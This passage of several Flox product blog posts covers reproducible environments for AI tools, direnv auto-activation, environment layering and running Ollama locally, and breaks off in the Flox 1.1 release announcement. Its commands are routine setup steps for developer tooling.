AI Modeling (BYOAIM) environment. After all, one of the neatest things about Flox is that it’s simple to use and has just a few commands. Another neat thing is how Flox borrows from Nix to give you a declarative way of managing and versioning software. A `manifest.toml` file defines which versions of which packages are installed in your environment. Creating a Flox environment is as easy as adding the names of packages to the `[install]` section of this file, which is nested in the `./.flox/env` folder inside your project directory. For example, to BYOAIM, all you’ve got to do is type ``` flox init ``` in your project’s directory and copy the following (from FLAIM) package and version information into your `manifest.toml` file. ``` [install] pytorch.pkg-path = "python311Packages.pytorch-bin" pytorch.version = "python3.11-torch-2.2.2" pytorch.pkg-group = "torch" accelerate.pkg-path = "python311Packages.accelerate" accelerate.version = "python3.11-accelerate-0.30.0" accelerate.pkg-group = "pkgs" transformers.pkg-path = "python311Packages.transformers" transformers.version = "python3.11-transformers-4.42.3" transformers.pkg-group = "pkgs" sentencepiece.pkg-path = "python311Packages.sentencepiece" sentencepiece.version = "python3.11-sentencepiece-0.2.0" sentencepiece.pkg-group = "pkgs" diffusers.pkg-path = "python311Packages.diffusers" diffusers.version = "python3.11-diffusers-0.29.0" diffusers.pkg-group = "pkgs" ``` To customize your BYOAIM environment, just add environment variables, hooks, aliases, and other stuff (including functions and complete code blocks!) to the `[vars]`, `[hook]`, and `[profile]` sections of your `manifest.toml`. ## Mic drop: Reproducible software development made simple You’ve probably been frustrated with how difficult it is to build and deploy GenAI solutions, mainly because you can’t guarantee that they’ll work on your teammates’ systems, in CI, or in prod. So maybe they still seem more like toys than useful tools to you. But it’s time to rethink this. Flox gives you a way to ensure reproducibility and platform-optimized performance across the SDLC, whether you’re building collaboratively, pushing to CI, or deploying to prod. You can easily put Flox environments into containers, or you can (just as easily) build containers using Flox environments. FLAIM is the latest example of this. We’ve also created a portable, reproducible, GPU-accelerated [Flox environment for Ollama](https://flox.dev/blog/llms-in-your-project-with-ollama-flox), which lets you run dozens of open-source LLMs. We’ve shipped environments that showcase how easy it is to access applications and services—[like Jupyter Notebook](https://flox.dev/blog/using-jupyter-notebooks-with-flox)—in portable, reproducible ways. All of this without using containers, while also taking full advantage of available hardware and operating system affordances. Sound too good to be true? [Download Flox](https://flox.dev/docs/install-flox/) and take FLAIM for a test-drive! And think about whether you have any projects where Flox can help you build and ship faster - with a catalog containing more than 1 million package and version combinations, the possibilities are endless! Title: Auto Environment Activation with Direnv + Flox Source: https://flox.dev/popular-packages/auto-environment-activation-with-direnv-flox/ Date: 2024-07-05 Category: tutorial # Auto Environment Activation with Direnv + Flox With Flox, the set of packages you're using can change depending on the directory you are working in. Using direnv and Flox, environments can autoactivate so you can effortlessly navigate the different parts of your stack. Flox allows you to create different environments for each of your projects. When you `cd` into your project, a quick `flox activate` ensures you’re working with the right stack. The shell extension `direnv` gives me a neat way to automate the calling of that `flox activate`. When I `cd` into a Flox project directory, `direnv` reads an `.envrc` that tells it to run `flox activate` and apply the results to my Flox environment. When I `cd` out of that directory, `direnv` reverses that process, returning my environment to its previous state. Essentially, `direnv` gives me turn-key `flox activate`-ion! ## Mind the Gap It’s not the actual typing of `flox activate` that is a problem for me; I have an alias for it, and I actually enjoy watching it run. It’s forgetting to type it that is the problem. Countless times after `cd`-ing into an environment, I’ve forgotten to `flox activate`. Usually, the result is that whatever I’m trying to do just doesn’t work. But there are situations where this could cause something to work differently in a ... bad way. Say I have a build script for Node v22 in my Flox environment, but Node v20 installed on my system. If I forget to `flox activate`, my build script could run with the wrong version. This could end up being a big deal. With `direnv` I no longer even have to worry (or even think) about this. It’s so useful that we built it into a utility environment on FloxHub. ## Option 1: Using a FloxHub Environment If you want to enable direnv in your current shell without doing anything permanent, you can do so with the following command: ``` % flox activate -r flox/direnv ``` Flox downloads some packages in the background and — presto! — you are inside an environment created using a manifest stored on FloxHub. ``` ✅ You are now using the environment flox/direnv (remote)'. To stop using this environment, type 'exit' ✅ Extension installed in ~/.config/direnv/lib/ 🤖 direnv enabled flox [flox/direnv (remote)] % ``` It has installed the `flox-direnv` extension (more on that later), enabled `direnv` in a new shell session, and created a `floxit()` alias that can help you set up auto-activation across our Flox environments. Figure: The floxit() alias running, showing a prompt that asks whether to continue. FloxHub environments are a great way to test-drive this before installing it permanently into your dotfiles. When you're done with it, you exit its subshell and it just ... disappears. ## Option 2: Using a Default Environment If you always want `direnv` in your stack, you can easily add it to your default Flox environment. If you don’t have a default environment, create one: ``` % flox init -d $HOME ✨ Created environment 'default' (x86_64-linux) Next: $ flox search <- Search for a package $ flox install <- Install a package into an environment $ flox activate <- Enter the environment % flox activate ✅ You are now using the environment 'default'. To stop using this environment, type 'exit' flox [default] % ``` You can use Flox’s `edit` option to configure your `default` Flox environment for `direnv`: ``` flox edit -d $HOME ``` This opens up Flox’s `manifest.toml` in `vi`. By editing this file, you can declaratively add software to your environment, specify environment variables, or create shell hooks that automate commands, as well as setup or teardown operations. If `vi` isn’t your thing, you can override it by setting `$EDITOR`. Let’s customize our Flox `manifest.toml` to add the following lines into their respective blocks: ``` [install] direnv.pkg-path = "direnv" [profile] zsh = """ eval "$(direnv hook zsh)" """ bash = """ eval "$(direnv hook bash)" """ fish = """ direnv hook fish | source """ tcsh = """ eval `direnv hook tcsh` """ ``` To make sure your default environment is activated when you log in, add this to your `~/.profile` for bash or `~/.zprofile` for zsh: ``` eval "$(flox activate -d $HOME)" ``` In order to use `direnv` to automatically activate Flox environments, we use a plugin called `flox-direnv`. To install this into your `~/.config` directory, run the following commands: ``` % mkdir -p "${HOME}/.config/direnv/lib/” % curl -o "${HOME}/.config/direnv/lib/flox-direnv.sh" "https://raw.githubusercontent.com/flox/flox-direnv/v1.1.0/direnv.rc" ``` Optionally, you can ask Flox to suppress mention of your default environment in your shell prompt. Sometimes, especially when layering multiple environments, it’s nice to reclaim that space when you know your default environment will always be loaded. To do this, add the following line to your `~/.profile`: ``` flox config --set shell_prompt hide-default ``` Restart your shell. ``` % source ~/.profile ``` Voila! Your `default` Flox environment now activates `direnv` whenever you login. ## Preparing a New Environment to Auto-Activate Let’s take `direnv` for a test drive. First, we’ll make a new environment and install some stuff into it: ``` flox [default] % mkdir -p envirotron/env1 && cd envirotron/env1 flox [default] % flox init flox [default] % flox install fortune-kind cowsay ``` Then we’ll create an `.envrc` that contains the following line: ``` flox [default] % echo 'use flox' > .envrc ``` This command adds `use flox` to `./env1`’s `.envrc` file. Since we are in that directory already, this should auto-activate the Flox environment in that directory. Instead, it triggers the following error message: ``` flox [default] direnv: error /home/rossturk/dev/envirotron/env1/.envrc is blocked. Run `direnv allow` to approve its content ``` When you create or modify an `.envrc` file, `direnv` blocks it until you explicitly allow it by running the `direnv allow` command. With good reason! This ensures that only `.envrc` configurations you explicitly allow get loaded. We need to add the current directory to the allowlist. So let’s go ahead and do that: ``` flox [default] % direnv allow ``` The environment should automatically activate once you do this, and your prompt should change to: ``` flox [env1 default] % ``` You’re in a layered Flox environment. Any resources installed in either `env1` and `default` are available to you, along with any binaries, libraries, files, or other artifacts that are accessible to you on your local system. While you’re in the `./env1` directory, you can run `fortune-kind` and `cowsay`. ``` flox [env1 default] % cowsay That way madness lies _______________________ < That way madness lies > ----------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || ``` ``` flox [env1] % fortune Harmony Embracing the Way, you become embraced; Breathing gently, you become newborn; Clearing your mind, you become clear; Nurturing your children, you become impartial; Opening your heart, you become accepted; Accepting the world, you embrace the Way. Bearing and nurturing, Creating but not owning, Giving without demanding, This is harmony. -- Lao Tse, "Tao Te Ching" ``` As soon as you `cd` out of `./env`, your prompt changes to `flox [default] %` And cutting capers with `cowsay` no longer works: ``` flox [default] % cowsay That way madness lies Command 'cowsay' not found, but can be installed with: sudo apt install cowsay ``` Excellent. The `direnv` extension is doing its job: `cd`-ing out of the directory deactivates the environment. When you’re using the `flox/direnv` FloxHub environment to enable direnv, a `floxit()` alias is available to perform the above `.envrc` and `direnv allow` steps. ## Preparing an Existing Environment to Auto-Activate You can do this with any or all of your Flox environments. The sole required step is to create and populate an `.envrc` file in each directory. Let’s automate an existing `jupyter` notebook environment we use a lot. ``` flox [default] % cd ~/dev/jupyter flox [default] % echo ‘use flox’ > .envrc direnv: error /home/rossturk/dev/jupyter/.envrc is blocked. Run `direnv allow` to approve its content ``` So let’s fix that: ``` flox [default] % direnv allow Jupyter environment ready - start notebook with alias 'nb'. flox [jupyter] % ``` ## Some Housekeeping Notes (1) To get around the `direnv allow` error message triggered by the procedure described above, chain the `echo` and `direnv allow` commands, as below. You could easily create an alias for this, too. ``` echo 'use flox' > .envrc && direnv allow ``` Rinse and repeat for any other Flox environments you want to automate with `direnv`. (2) By default, `direnv`’s prints verbose logging output to your terminal. (The gif in the next section shows you examples of this.) You can disable this, as the `flox/direnv` environment does, by setting the following environment variable in `~/.profile`: ``` export DIRENV_LOG_FORMAT='' ``` (3) If you’re using `direnv` in a layered Flox stack, your prompt only changes to reflect the most recently activated environment. For instance, before I `cd`-ed into `~/dev/jupyter`, my prompt was `flox [default] %`; once my Jupyter environment activated, it should have been `flox [jupyter default] %` This happens because the `PS1` shell variable is blacklisted in `direnv`. Fear not, all of the Flox environments in your layered stack are still active and available, and you can access anything in them. If you’d like to fix the prompt while using `direnv`, you can add `${FLOX_PROMPT_ENVIRONMENTS_activate}` to your global `$PS1` in your shell rc files and disable the auto-prompt feature with `flox config --set shell_prompt hide-all`. (4) `direnv` can’t set shell aliases and functions, but `flox activate` normally can. Wrapping Flox with `direnv` means any aliases or shell functions from the Flox manifest.toml won’t be present. We still use update your `PATH` to provide access to all of your environment’s packages, so using Flox this way is still very useful! This is a trade-off for now, but it’s possible to make this better in the future 🙂 ## What It’s All About Flox is all about reducing or eliminating the snags and friction points that frustrate you as a developer, and this `direnv` integration is a simple, obvious example of this. But the best way to get a sense of how Flox works, what it can do, and how it can fit into (and hopefully transform) your projects and workflows is by putting Flox through its paces yourself. Flox is free to [download](https://flox.dev/docs/install-flox/). It’s easy to use - it has just a few commands to master. It’s all about eliminating obstacles between you and building software. Check it out! Title: A Very Short Introduction to Layering in Flox Source: https://flox.dev/blog/a-very-short-introduction-to-layering-in-flox/ Date: 2024-07-02 Category: guide # A Very Short Introduction to Layering in Flox Flox environments aren't isolated; they layer upon one another, allowing you to combine them in endless ways while keeping your toolsets discrete. In games like _Settlers of Catan_, the _Civilization_ series, or even _Monopoly_, a player's strengths or weaknesses are modified by the characteristics of the terrain they occupy, as well as the affordances of this terrain. Basically, their power and capabilities are determined _by what's underneath them_. This is the easiest way to explain the concept of layering in Flox. When you layer Flox environments, the upper layers in the stack inherit the features and capabilities of the layers beneath them. In other words, the layered Flox stack becomes at least as powerful as the sum of its constituent parts. This means you can use Flox to create simple, use case-specific environments and layer them to form very powerful combinations. So what does this look like in practice—and why would you _want_ to do this? Glad you asked! This blog demonstrates both the logic and the logistics of layering in Flox. ## Stacking Environments Let's start with a quick-and-dirty example of layering in practice. It's 9 AM. You've just finished your first octuple-shot macchiato of the day. Time to activate the Flox environments you need for today's work! First, you activate `default`, the Flox environment that lives in your $HOME directory. This contains `awscli2`, `git`, `jq`, `lastpass`, your Rust toolchain, [`pokemonsay`](https://github.com/possatti/pokemonsay), and tons of other stuff. If your `cwd` is `~/dev/git/api-service`, you'd type: `~ % flox activate -d ~/` Next, you activate your Node.js environment, `node22`, which includes basic stuff like ESLint, Prettier, and Mocha, along with tools like `gcc`, `automake`, the `boost` libraries, and other stuff you use to work with [`node-gyp`](https://github.com/nodejs/node-gyp), a cross-platform tool for building and compiling native add-ons for Node.js. `~ % flox activate -d ~/dev/floxenvs/node22` Finally, you activate your `1p` environment, which includes the hooks you use to automate secrets management for your workflows in AWS, GitHub, and elsewhere. `~ % flox activate -d ~/dev/floxenvs/1p` In your terminal, this results in something like this: ``` ~ % flox activate -d ~/ ✅ You are now using the environment 'default'. To stop using this environment, type 'exit' flox [default] ~ %/ flox activate -d ~/dev/floxenvs/node22 ✅ You are now using the environment 'node22'. To stop using this environment, type 'exit' flox [node22 default] ~ % flox activate -d ~/dev/floxenvs/1p ✅ You are now using the environment '1p'. To stop using this environment, type 'exit' flox [1p node22 default] ~ % ``` You're now within a Flox stack, **`flox [1p node22 default]`**, comprising secrets management and Node.js + runtime dependencies layered on top of your default Flox environment. The binaries in this environment are unavailable when you're _outside_ of it; _inside_ of it, however, you can access and run them—along with any resources available to you as a user on your local system. Try doing that in a container! ## Layering 101: The Coworker from Hell It's 9:01. Those Node.js v18 apps aren't going to refactor themselves. But something's bugging you. A coworker who was fond of playing practical jokes recently left your org, and by sheer bad luck, you inherited some of their projects. Last night, whilst poking around in a couple of their repos, you stumbled across several dozen strange, possibly encrypted files. They had unfamiliar extensions, like: ``` ./malbouroboros/src/module8.mal ./malbouroboros/src/module7.mal ./malbouroboros/src/module1.mal ./malbouroboros/src/module14.mal ``` and: ``` ./hassle/config/config19.hs ./hassle/config/config10.hs ./hassle/config/config14.hs ./hassle/config/config15.hs ``` You can't stop thinking about those repos—and those bizarre file extensions. What _are_ they? What are they used for? Are they encrypted—or just pseudo-random nonsense? You _could_ do a Google search to find out, but you've got [AIChat](https://github.com/sigoden/aichat), a cool tool that lets you prompt LLMs from OpenAI, Anthropic, Ollama, and others via the command line. You can even use AIChat to pass LLMs files for analysis. You quickly run AIChat via the FloxHub environment you created and pushed to FloxHub: ``` flox [1p node22 default] flox activate -r daedalus/aichat ``` FloxHub environments are cached locally after the first activation. The activation session is temporary—once you type `exit`, the session ends—but the cached environment remains for future use. They're great for ad hoc use cases, like this one. Presto! AIChat is up in less than a second in your terminal—it's now the top layer in your stack. You know you're in a FloxHub environment because your Flox prompt tells you so: ``` flox [daedalus/aichat (remote) 1p node22 default] % aichat what is a .mal file type? A .mal file type is commonly used as an abbreviation for the Malbolge Programming language, a difficult-to-understand esoteric programming language. Malbolge is known for being one of the most challenging languages to learn and understand due to its complex and confusing design. ``` It tracks. It is absolutely on-brand for your former coworker, who always reminded you of _The Office's_ Dwight Schrute. Okay. So you've got a mysterious repo of [Malbolge](https://en.wikipedia.org/wiki/Malbolge) code. What can you do with this? ``` flox [daedalus/aichat (remote) 1p node22 default] % aichat \ can i port malbolge code to python or javascript? Yes, it is possible to port Malbolge code to Python or JavaScript. However, Malbolge is known as one of the most difficult programming languages to understand and work with, so it may be challenging. You will need a good understanding of both Malbolge and the target language in order to successfully translate the code. ``` Curious, you decide to take a look at one of the files: ``` flox [daedalus/aichat (remote) 1p node22 default] % cat malbouroboros/config/01.mal (=<`#9]~6ZY32VxwvutTSRqp+mlk\*ihg&edcbA98w76)4X2Vtsrqpomjilgfdcba\_^]ZYXWVTSRQPOMKJIHG?} =<#9]7<)1s-xvtr-ponm+lkjih*g&fe(bY<6ZZZZZZZX4V2RQPO+MKJ*HGEDCB~A?=<:#9]~6ZY32VxwvutTSRqp+mlk\*ihg&edcbA98w76)4X2Vtsrqpomjilgfdcba\_^]ZYXWVTSRQPOMKJIHG?} =<#9]7<)1s-xvtr-ponm+lkjih*g&fe(bY<6ZZZZZZZX4V2RQPO+MKJ*HGEDCB~A?=<:#9]~6ZY32VxwvutTSRqp+mlk\*ihg&edcbA98w76)4X2Vtsrqpomjilgfdcba\_^]ZYXWVTSRQPOMKJIHG?} =<#9]7<)1s-xvtr-ponm+lkjih*g&fe(bY<6ZZZZZZZX4V2RQPO+MKJ*HGEDCB~A?=<:#9]~6ZY32VxwvutTSRqp+mlk\*ihg&edcbA98w76)4X2Vtsrqpomjilgfdcba\_^]ZYXWVTSRQPOMKJIHG?} =<#9]7<)1s-xvtr-ponm+lkjih*g&fe(bY<6ZZZZZZZX4V2RQPO+MKJ*HGEDCB~A?=<:#9]~6ZY32VxwvutTSRqp+mlk\*ihg&edcbA98w76)4X2Vtsrqpomjilgfdcba\_^]ZYXWVTSRQPOMKJIHG?} ``` That looks ... terrifying. But maybe the Power of AI can help you make short work of this cryptic code? ``` flox [daedalus/aichat (remote) 1p node22 default] % cat ./malbouroboros/config/01.mal \ | aichat can you tell me what this does This code appears to be a series of encoded messages in a specific format. It seems to consist of characters and symbols that do not follow a common or recognizable pattern. Without more information about the encoding method used, it is difficult to make sense of the code. Additional context or decoding instructions would be needed to decipher the messages. ``` Yikes! Not gonna happen. But what about those `.hs` files? What's in _that_ repo? More of the same? ``` flox [daedalus/aichat (remote) 1p node22 default] % aichat \ what type of file lives in a repo called hassle and has the extension .hs? A Haskell source code file would live in a repository called "hassle" and have the extension ".hs". Haskell is a functional programming language commonly used for writing source code files with the ".hs" extension. ``` That's more like it. You've actually heard of Haskell! Maybe you could do something with this repo? ``` flox [daedalus/aichat (remote) 1p node22 default] % aichat \ is porting haskell code to python or javascript something i could do on my lunchbreak? Porting Haskell code to Python or JavaScript on your lunch break can be quite challenging due to the fundamental differences in these languages and may require a significant amount of code restructuring and rewriting to achieve the same functionality in the target languages. Overall, porting Haskell code to Python or JavaScript would be a daunting task that would likely require more time than you have available on your lunch break. ``` With that, you decide it's time to get to work. It's 9:15, and you've still got to figure out how to work around breaking changes in Node v22. That's a daunting enough task for you, thank you very much. But at least you've got a sense of where to start researching next. Shaking your head, you type `exit`, killing your temporary Flox AIChat environment. Not only does this put you back in your layered Flox stack, but because you were using a FloxHub environment, there's no clean up: you don't have to uninstall any packages, or hunt down and delete orphaned libraries, config files, etc. ## Wanna Take a Test Drive? There's a lot more to layering in Flox, and we'll get down to the nitty gritty in a follow-up article. SPOILER ALERT: We'll show how you can create a layered Flox stack that replicates a multi-container environment on your local system, with seamless access to all of your local resources. In a Flox stack, your environment variables are available and just work. You don't have to configure Flox to mount storage in your home directory or source code repo. You don't need to set environment variables and pass them into Flox, as with containers. And when you're "inside" a Flox environment, you're also "inside" your local system, so you won't ever be blocked because the tools you need aren't available. And did we mention that it's super easy to containerize your Flox environments, should you need to? Anyway, if you're at all intrigued by this walk-through, why not take Flox for a test drive? [You can download](https://www.flox.dev/get) Flox for MacOS, as well as Red Hat- and Debian-flavored Linuxes. Discover how Flox can transform your workflow in ways both subtle and stupendous. Title: Run LLMs Locally with Ollama + Flox Source: https://flox.dev/popular-packages/llms-in-your-project-with-ollama-flox/ Date: 2024-06-27 Category: tutorial # Run LLMs Locally with Ollama + Flox Ollama is an amazing way to work with LLMs. Installing it isn't exactly hard...but adding it to your project's stack and sharing it with colleagues? That can be tricky unless you use Flox. [Ollama](https://www.ollama.com/) is easily one of the coolest new tools to debut in the last half-decade. It trivializes the process of installing and running different kinds of large language models (LLM) on your local system. In the same way, it makes it easy to run models in production, too. Just 16 short months ago, this seemed like a pipedream. Today, however, it is so much closer to reality than anyone would have thought possible. It’s kinda amazing. ## A Different Kind of Dependency Hell There’s a catch, of course. When you use Ollama as part of a distributed software project, things can get complicated. The issue has to do with dependencies—not solely on software, but on hardware. Specifically, GPU hardware. If GPU acceleration is available, you absolutely want your Ollama app to take advantage of it. To its credit, out-of-the-box Ollama does a great job with this: if you’ve got a GPU, and if (mainly a concern on Linux systems) you’ve got the appropriate libraries installed, Ollama will detect and use them. But what if you’re using Ollama as part of a collaborative project? Say you’ve built an Ollama-based app on your M2 Mac system. How do you share this with colleagues who prefer to use x86 systems running Linux? Can you create a single reproducible environment that runs and behaves the same way across operating system platforms _and_ machine architectures? ## The Challenges of Containerizing Ollama For most teams, the solution to this problem is obvious: containerize it! But containerizing Ollama is fraught with problems. First, where does the Ollama service put the models it downloads? Answer: on an external volume which the container mounts at runtime. But where does this external volume live? This is a non-trivial question when dealing with large (~100GB) models! ### GPU Accelerated Ollama Across Architectures Next, containerize Ollama for _which_ platform—Apple’s ARM-based silicon or x86-64? To run accelerated, containers built for Apple Silicon must be configured to use Apple’s Metal API, while x86-64 containers generally use NVIDIA’s CUDA API. Accelerating Ollama in both scenarios means building and maintaining separate images for each architecture. At a minimum, this involves building in all required Metal API and CUDA dependencies, defining the necessary environment variables, and configuring networking so you can access and use your containerized Ollama services. More than likely, you will also need to rebuild and retest your images when Apple or Nvidia release updated Metal and CUDA software—or tweak their APIs. But is not-containerizing even an option? Yes, it is! This walk-through explores Flox as a better way to share development environments, one that avoids many of the pitfalls with containers. Before we explore how this works, let’s look at how Ollama installs and runs on Linux and macOS. ## Why not use the standard Ollama installer? If you download the [Ollama application bundle for macOS](https://www.ollama.com/download/mac), or follow the [official installation instructions](https://ollama.com/download/linux) on Linux platforms, Ollama installs to `/usr/local/bin` and configures itself to run as a service. On Linux platforms, the installer needs superuser privileges to (a) determine if CUDA is available and (b) install GPU-specific dependencies. It also uses these privileges to install itself as a systemd service that starts when the system itself starts—listening on the localhost interface. So even when you aren’t using Ollama, it’s still running. This is great for the heavy user who wants to fire up their terminal or IDE and start Ollama-ing, but if you’re just using Ollama as one of several components in a larger project … you might not want this. On macOS, the Ollama service starts when the person who installed it logs in, and likewise listens on the localhost interface. Because it starts automatically, you have to manually kill it to stop it. This, too, isn't quite ideal. But what if—instead of installing Ollama globally—you could have a self-contained Ollama environment that was _like_ a container, but not? Your Ollama environment wouldn’t require superuser privileges to run. Ollama’s service would only run when you wanted it to, would automatically take advantage of available GPU acceleration, would expose a service for API-based access, and would terminate when you exited your environment. Best of all, your Ollama environment _would also be reproducible_. You’d have a single, self-contained, GPU-accelerated Ollama environment that could easily be reused _everywhere and by anyone_. Wouldn’t this be ideal? You’ve just described Flox’s reason for being. ## Reproducible Ollama Environments, Made Simple My question about sharing an Ollama environment across machine architectures wasn’t rhetorical. This walk-through’s origin story begins with that problem. Flox’s Ross Turk created an Ollama environment on his M2 Mac and wanted to share it with the rest of us. But some Flox Folx (like yours truly) use platforms other than macOS, including sundry flavors of Linux. Could Ross use Flox to create a reproducible Ollama environment capable of running with GPU acceleration across dissimilar ARM and x86-64 machine architectures? The answer to that question—spoiler alert—is yes! With Flox, he built a shareable, reproducible Ollama environment that: - Doesn’t require you to use `sudo` to set it up; - Doesn’t install itself as an always-on service; - Doesn’t automatically listen on a default port on your system’s localhost IP; and - Doesn’t keep running when you’re no longer using it. Installing Flox is pretty straightforward: grab the package for your platform from the [download page](https://flox.dev/docs/install-flox/). Linux packages are available in .deb and .rpm format and there's a graphical installer for macOS. At a high level, Flox stores every single artifact (package) that it installs in a build cache. This cache is located at `/nix/store` because, under the covers, the [Nix package manager](https://nixos.org/) powers parts of Flox. Each artifact is identified by a hash that uniquely identifies it. Flox environments are assembled from individual artifacts in the build cache using symbolic links. One way to think of this is that environments are "views" into the build cache. Flox environments keep a record of the hashes corresponding to each of the artifacts installed into them, making it all but impossible to accidentally obtain the wrong piece of software for your environment. An awesome benefit of this is that when you install a Flox package for one environment, other environments that install the same package can reuse its artifacts; this amounts to just adding symbolic links somewhere on the filesystem. Conversely, if you need to install the same package in multiple containers, you would have to rebuild each one, which in addition to increasing bloat is time-consuming, too. ## Running Ollama Locally: Getting Started Using Flox is simple. For this walk-through, we’ll first create a folder called `flox-ollama`, then we’ll descend into it and tell Flox that we want to create an environment in it: ``` mkdir flox-ollama cd flox-ollama flox init ``` Next, we want to install the `ollama` package from the Flox Catalog using `flox install`: ``` flox install ollama ``` And if you didn’t know the exact name of Flox’s Ollama package, you could just type `flox search ollama` and Flox will return the first 10 or so packages containing `ollama`. ## Activating Your Flox Environment Activating a Flox environment is kind of like activating a virtual environment in Python. If you’re in the same folder in which you used `flox init` to create your project, just type `flox activate`. If you’re anywhere else, you can type `flox activate -d path/to/your/folder`. Since we're still in the same folder, we don't need `-d...`: Figure: A pre-built Flox environment running under Debian 12 When you’re in a Flox environment, you see `flox [name of the active Flox environment(s)]` prepended to your prompt in indigo. You _could_ run Ollama in your Flox environment by typing `ollama serve`, but if you do that, the Ollama service will take over the console. This is okay if you just need to access the API, but if you want to interactively prompt the LLM, you need to do something different. Running `ollama serve &` returns control to the console, but also prints the Ollama service’s output messages, interleaving them with any commands you enter into the console, along with their outputs. This behavior also continues when you run your model—e.g., `ollama run mixtral:latest`—which gets confusing quickly. A more elegant solution is to install a terminal multiplexer like tmux into your Flox environment. ## Ollama in Action Let’s walk through how to do that. You can easily add packages to a Flox environment via the `flox install` command: e.g., `flox install tmux`. With tmux now installed, below, I’ve launched it, created a vertical split-pane view by typing `Control-B` followed by `"`, and started the Ollama service in the top pane. (Note: I have found some situations require me to re-activate the Flox environment inside a new pane-especially when I have a complex set of dotfiles.) Then I switched to the bottom pane by typing `Control-B` followed by `o`, and fired up my LLM: Figure: `ollama serve` in the top pane, Mixtral with interactive prompt in the bottom. Note: this is actually tmux in [byobu] (https://www.byobu.org/). If I already have tmux available globally on my system, I could run that version, too, without installing tmux into my Flox environment; it just won’t be made available in that environment if I were to share it with anyone else. Now I can prompt my model interactively, using the console: Figure: All those parameters and all that processing power ... and still it gets it wrong. Again, tmux in byobu. Or I can prompt it programmatically, via the API, using a custom python script I mocked up: Figure: A simple example script that programmatically prompts the Ollama API. tmux in byobu. ## Setting It up … and Tearing It Down Oh—one more thing. I started the Ollama service from within my Ollama environment...but exiting that environment doesn't terminate the service: Ollama is still running—and listening on its default port. One option is to manually kill it from the command line, but we can do better than that. This scenario is exactly what the hooks inside Flox’s `manifest.toml` file are created for. This file lives in the `env` subfolder nested in the `.flox` folder inside the project (eg `flox-ollama`) directory. Flox’s Ross Turk [does a great job explaining what this file is and how it works.](https://flox.dev/blog/supercharge-your-shell-with-openai-flox) To complement this walk-through, we created an example Ollama environment on FloxHub, [`flox/ollama`](https://hub.flox.dev/flox/ollama). The `manifest.toml` file for this environment automatically runs Ollama in the background using Overmind, allowing you to move directly to pulling, running, and prompting models. Editing this file using `flox edit` we can see a `nollama` function, which kills the Ollama service. To activate this FloxHub environment on your system, use the `flox activate` command and pass it the reference of the FloxHub environment. This consists of an owner (`flox`) and an environment name (`ollamamux`). The full command would be: ``` flox activate -r flox/ollama ``` Running this command will cause you to enter this environment, skipping past all of the `flox init` and `flox install` stuff we did before. When you’re building your own environments, you could also use shell features, like `trap` commands, to kill Ollama automatically when you `exit` your Flox environment. Figure: You can edit `manifest.toml` by typing `flox edit`—or just use your favorite editor. Caveat: `flox edit` defaults to vi! ## Some Housekeeping Notes A few things to keep track of: I’d already used the Ollama installer to download this version of Mixtral on my system. The Flox Ollama package was able to reuse it because, like vanilla Ollama, it stores models in `~/.ollama`. Even though Flox installs Ollama itself (the package and its dependencies), it doesn’t manage your Ollama models, and it doesn’t change where Ollama puts these models. Keep this in mind. Ollama is so much fun to experiment with that it’s easy for this folder to start out looking like this: Figure: How it started. And quickly balloon in size to this: Figure: How it's going. What gives? When you add packages to a Flox environment using `flox install`, Flox itself manages these packages. However, if you use tools like `pip`, `cargo`, or `npm` to install packages from within your Flox environment, Flox doesn’t manage those. It’s kind of like when you install packages in a running instance of a container: they don’t persist as part of your reproducible environment. (Rather, they vanish as soon as the container is destroyed.) Your Floxified Ollama environment is still shareable and reproducible, but the people you share it with will still have to download their own models. ## Admit It, You’re Intrigued With Flox’s declarative model, you can pin Ollama and all of its dependencies, so the same Ollama environment always reproduces bit-for-bit on any machine. Typing **`flox activate`** and running the Flox environment gives you exactly the same CLI, tooling, and integration points—today or 12 months from now. To share and run that Ollama environment anywhere, use FloxHub: you can sign up at **[https://hub.flox.dev](https://hub.flox.dev)**. Teammates can easily pull and run the shared Ollama environment—even on demand—by remotely activating it with: **`flox activate -r flox/ollama`**. FloxHub makes it easy to publish, version, audit, and remotely run Ollama environments, as well as control who uses them. You can even switch or roll back between generations—all in one place. ## FAQs About Running Ollama Locally With Flox ### How does Flox ensure reproducible Ollama environments across different systems? Flox addresses complex dependency management, particularly for GPU hardware, by creating isolated, self-contained environments. This capability allows Ollama applications to run consistently across diverse operating systems and machine architectures, like ARM-based Macs and x86-64 Linux systems, ensuring predictable behavior and easier collaboration within development teams. ### What advantages does using Flox offer over traditional containerization for Ollama? Traditional containerization of Ollama is awkward on macOS: containers don’t run directly on macOS, they run inside a Linux VM (usually an aarch64 Linux guest on Apple Silicon). That adds an extra virtualization layer on top of large model volumes and makes GPU acceleration harder, since the Linux guest can’t use Apple’s Metal API directly. You also end up needing separate, platform-specific images to support different GPU backends (Metal on macOS vs. CUDA on Linux). Flox sidesteps this by creating a unified, reproducible environment on the host OS itself. Ollama runs natively on macOS and can still use Metal, but the dependencies are managed declaratively in Flox. The same environment definition can target Linux without maintaining multiple container images, which makes sharing and deployment much simpler than juggling VM-backed containers and per-platform builds. ### How does Flox simplify running Ollama without constant background processes or superuser privileges? Flox significantly improves the user experience compared to the standard Ollama installer by eliminating the need for superuser privileges during setup. An Ollama service within a Flox environment only activates when needed and terminates automatically when the environment is exited, offering precise control and a less intrusive presence on the host system. Title: Flox 1.1: Time Travel Across 100k+ Nix Packages Source: https://flox.dev/blog/flox-1.1-time-travel-across-100k-nix-packages/ Date: 2024-06-25 Category: news # Flox 1.1: Time Travel Across 100k+ Nix Packages The Flox Catalog now contains over 3 years of history for each of its 100k packages, totaling over a million building blocks you can assemble however you like. Find everything you're looking for. We’re _pretty stoked_ to announce the release of Flox 1.1, our flagship CLI. Flox gives you a new way to work with packages and build reproducible development environments … without using containers. It gives users transparent, no-hassle access to the tools, files, and environment variables in their local systems. It enables teams to create portable, reproducible development environments that behave the same way anywhere, taking advantage of available OS, CPU, and even GPU capabilities. This just isn’t possible with other tools or patterns. ## Flox 1.1: Reproducible Developer Environments, Batteries Included Flox 1.1 packs improvements that make it easier for you to find software, create environments, and start building. Improvements that enable you to share and reproduce what you’ve built—be it with other collaborators, or in CI. And improvements that give you access to massively more versions of packages. In addition, the new release boasts the following new features: - **A massively expanded Flox Catalog.** Flox’s Catalog now integrates fresh packages daily from the Nixpkgs unstable branch. This expands the range of available Flox packages to over one _million_ unique package/version combinations, opening up the breadth and depth of the Nix’s ecosystem’s unmatched collection of open-source software. If you need a package that came out yesterday, there’s a pretty good chance it’s already in the Flox Catalog. - **Browse 3+ years of package history.** With the 